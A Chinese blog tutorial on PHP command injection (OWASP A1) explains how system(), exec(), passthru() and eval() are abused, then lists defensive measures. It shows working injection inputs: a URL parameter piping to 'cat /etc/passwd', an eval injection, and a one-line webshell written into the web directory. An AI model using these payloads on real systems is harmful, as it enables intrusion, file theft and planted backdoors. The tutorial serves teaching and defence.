owasp top A1 注入 Injection (1)PHP注入

本文详细讲解了PHP中的命令注入漏洞,涉及system(), exec(), passthru()和eval()函数的使用。介绍了如何利用命令注入获取文件内容和创建木马,同时提供了防御措施,如白名单过滤和参数验证。
摘要由CSDN通过智能技术生成

owasp top A1 注入 Injection (1)PHP注入.1

命令注入漏洞,和SQL注入一样通过改变语句结构执行恶意命令。

1.PHP常见命令执行函数

1.1system()

执行外部程序,并且显示输出,常规用法:
<?php
$whoami = system('whoami', $retval);              //system函数执行whoami查询,返回给$retval参数
echo $retval;  													//外部命令执行后的返回状态,输出$retval
?>

1.2exec()

原型:string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。

1.3passthru()

与system都一样

1.4eval()

eval函数将输入的字符串参数当作PHP程序代码来执行
函数原型:

mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候

当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;

2.PHP命令注入漏洞

http://www.sectop.com/ex1.php?dir=| cat /etc/passwd

在.php文件后面拼接查询操作,系统执行了就会返回文件内容
一句话木马:

www.baidu.com & echo '<?php eval($_POST[pass]);>' > web目录/sh2ll.php

3.PHP命令注入防御

1、采用白名单,或使用正则表达式进行过滤。

2、不要让用户可以直接控制eval()、system、exec、shell_exec等函数的参数。

3、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值